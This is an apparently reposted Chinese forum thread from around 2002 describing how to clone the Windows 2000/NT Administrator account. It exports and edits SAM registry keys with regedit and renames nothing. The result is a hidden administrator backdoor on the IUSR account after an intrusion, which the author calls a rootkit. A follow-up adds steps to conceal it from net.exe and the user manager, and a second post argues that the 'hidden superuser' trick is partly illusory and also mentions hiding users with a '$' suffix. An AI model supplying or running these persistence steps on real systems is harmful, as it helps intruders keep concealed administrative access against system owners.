返回列表 回复 发帖

[转帖] 克隆管理员帐号的方法

LBHIDDEN[10000m]LBHIDDENAuthor:Adam@nsfocus.com & 叮叮
Date:2002-04-28
Site:http://www.sometips.com

经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户,似乎当管理员不存在一般,今天偶违背一下偶以前的初衷,Share一个类似于RootKit的玩艺,当然,这些过程也是可以用脚本实现的,但是我就不写了,OK,Show Time Now。

首先要让大家知道的概念是在Windows 2000和Windows NT里,默认管理员帐号的SID是固定的500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆,在这里我们选择的帐号是IUSR_MachineName(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下的方法,只不过这个用户较常见罢了),测试环境为Windows 2000 Server。

运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe),然后在该CMD Shell里面运行
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
这样我们将SID 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的'1F4'修改为IUSR_MachineName的SID(大部分的机器该用户的SID都为0x3E9,如果机器在最初安装的时候没有安装IIS,而自己创建了帐号后再安装IIS就有可能不是这个值),将Root.reg文件中的'1F4'修改为'3E9'后执行
regedit /s adam.reg
导入该Reg文件

然后运行
net user IUSR_MachineName Sometips
修改IUSR_MachineName的密码(最好使用14位的密码,越像IUSR_MachineName的密码越好)

OK,大功告成...

这样,我们拥有和默认管理员一样的桌面、一样的Profile.....
而且,当我们运行 net localgroup administrators 时,看看结果:
C:\>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
The command completed successfully.

再看看USER2SID的输出结果:
C:\>user2sid Administrator

S-1-5-21-1004336348-1078145449-854245398-500

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

C:\>user2sid iusr_machinename

S-1-5-21-1004336348-1078145449-854245398-1001

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

我想,再高明的管理员也看不到任何的异状了...而且,随便管理员改成什么密码,我照样可以用IUSR_MachineName,密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)

^_^,这算不算RootKit...

附:
1、感谢叮叮付出需要reinstall OS的代价...
2、任何用以上方法进行试验所导致的系统无法使用均与偶无关,偶均不提供技术支持...

-----------------------------------------------------------------------------

叮叮 的补充完善

很多人提到使用了管理工具的用户管理后,能够发现IUSR_MachineName被提升了权限。
现给出解决办法。

方法同上,不过这次修改内容多一些。即
这次要导出两个key内容:
一个是adam提到的
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
然后另外一个是你需要修改那个账号的值
regedit /e iusr.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9

然后按照adam提到的修改adam.reg
“将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的'1F4'修改为IUSR_MachineName的SID”

现在,你还要从iusr.reg文件中复制一下内容
就是将iusr.reg文件中“'V'=hex:0”开始一直到iusr.reg文件结束部分复制下来
然后替换掉adam.reg中同样位置的部分

最后使用
regedit /s adam.reg
导入该Reg文件
呵呵,别忘了给这个IUSR_MachineName改密码哦。
hehe,ok,大功告成。
现在IUSR_MachineName账号拥有了管理员的权限,但是你使用net.exe和
管理工具中的用户管理都将看不到任何痕迹,即使你去察看所属于的组和用户。
都和修改前没有任何区别。

好了,补充结束。  :ht06:
哈哈哈!!!!你的IP是不是?我都知道了!!!

[转帖] 克隆管理员帐号的方法

近来一段时间,网上到处转贴《建立隐藏的超级用户》这样一篇文章,文中提出可以通过修改Win2k注册表的sam数据库内容来添加一个隐藏的超级用户,在net  user和用户管理下面都看不到踪迹,可以算是一个非常好的Rootkit了,于是引起了我的极大兴趣,摸索了有一周,自认为对windows的用户管理已经很是熟悉了,得出了这样一个结论:关于建立隐藏的超级用户,完全是一个骗局,呵呵。你一定有些惊讶吧,既然是骗局,怎么还那么多人转贴和叫好呢?好,听我慢慢给你解释:

一、关于SAM数据库的内容
        首先从windows的用户管理来说起吧,由于windows系统是建立在注册表之上的,所以,关于所有的用户信息也是存放在注册表的HKLM下的SAM项中,关于SAM项的内容,我简单提一下,只要知道个大概就可以了。

        存放用户信息的具体地方是HKLM\SAM\SAM\Domains\Account\Users中,下面的十六进制项都是用户的sid,比如用户Administrator的sid是000001F4,guest的sid是000001F5,其他的每一个十六进制项都对应一个用户名。同时,在Names项下面保存的是用户名,下面的每一个都是你机器中的用户名。OK,基本的用户信息就是这些了,下面来看windows如何管理这些用户:

        添加一个新用户的时候,系统会在HKLM\SAM\SAM\Domains\Account\Users下面添加一个新的sid项来标记用户,同时在HKLM\SAM\SAM\Domains\Account\Users\Names下建立一个用户名的项,而项的类型为这个新的sid。比如添加一个名为xiaobai的用户,系统就会在HKLM\SAM\SAM\Domains\Account\Users下添加一个新的sid项,假设是000003ED,与此同时,你会发现在HKLM\SAM\SAM\Domains\Account\Users\Names下面多了一个名为xiaobai的项,类型为0x3ed。这就是windows系统处理添加用户的方式。

        删除用户的时候,系统所做的工作就是把上面对应添加的两个项删除。大体的原理应该就是这样,那些有关键值内容的东西,因为与下面的主题没有很大关系,所以,我就不细说了。


二、查看本机用户信息
        现在,已经了解了系统是如何管理用户的原理了,我们再回到系统管理员的角度,作为一个系统管理员,查看本机的用户情况是最常见的行为了,一般通过两种方式来查看,net命令和MMC管理控制台。两种方式取得本机用户信息的方式稍有不同。

        首先是net命令,每次执行net命令的时候,系统去注册表的HKLM\SAM\SAM\Domains\Account\Users\Names下面取项值,然后打印在屏幕上,就是你看到的结果,所以,即使你随便在这个项值下面添加一项,也会通过net命令显示出来的。其中的一个小技巧就是如果用户名后面带一个$符号的时候,就不会显示出来,所以,在net命令下隐身很容易的,只要你添加的用户名是以$结尾的就可以了。

        然后是MMC管理控制台,它与net命令稍有不同,不同处在于显示用户信息的时候不是现场去注册表中取,而是每次系统启动时,所有的用户信息都已经被读入了,只是显示出来就可以了。除非你做了添加或者删除用户的操作,否则,MMC不会去读注册表的信息的。

        所以,当我们按照《建立隐藏的超级用户》这篇文章的方法做的时候,添加用户后又删除了,所以不会在  MMC中留下痕迹,此时再通过添加注册表的项来使帐号复活,登录windows的时候系统对比注册表中的内容,发现这个用户有足够的信息,所以允许登录。正如前面所说,除非有添加删除操作,否则,MMC不临时去取注册表的用户信息,所以,在MMC中是看不到这个用户的,也就是《建立隐藏的超级用户》这篇文章所说的成功添加了一个隐藏的超级用户。似乎这个后门留地是天衣无缝,可是一旦你重新启动呢,你会发现,你刚才添加的隐藏的用户又明明白白地显示在用户列表中,呵呵,至于原因么,是因为系统每次重启动的时候,MMC都要重新读取一下注册表的SAM数据库,所以,这个你复活的帐号也被读到了MMC的记录中,这样,也就不是什么隐藏的用户了。

        呵呵,到现在你应该清楚为什么《建立隐藏的超级用户》这篇文章是个骗局了吧,有无数人为之欢呼,以为找到了一个超级的Rootkit,当然也包括我,不过,假的毕竟是假的,因为这个而搞清楚了windows的用户管理机制,这个收获也不小啊,呵呵。
哈哈哈!!!!你的IP是不是?我都知道了!!!
返回列表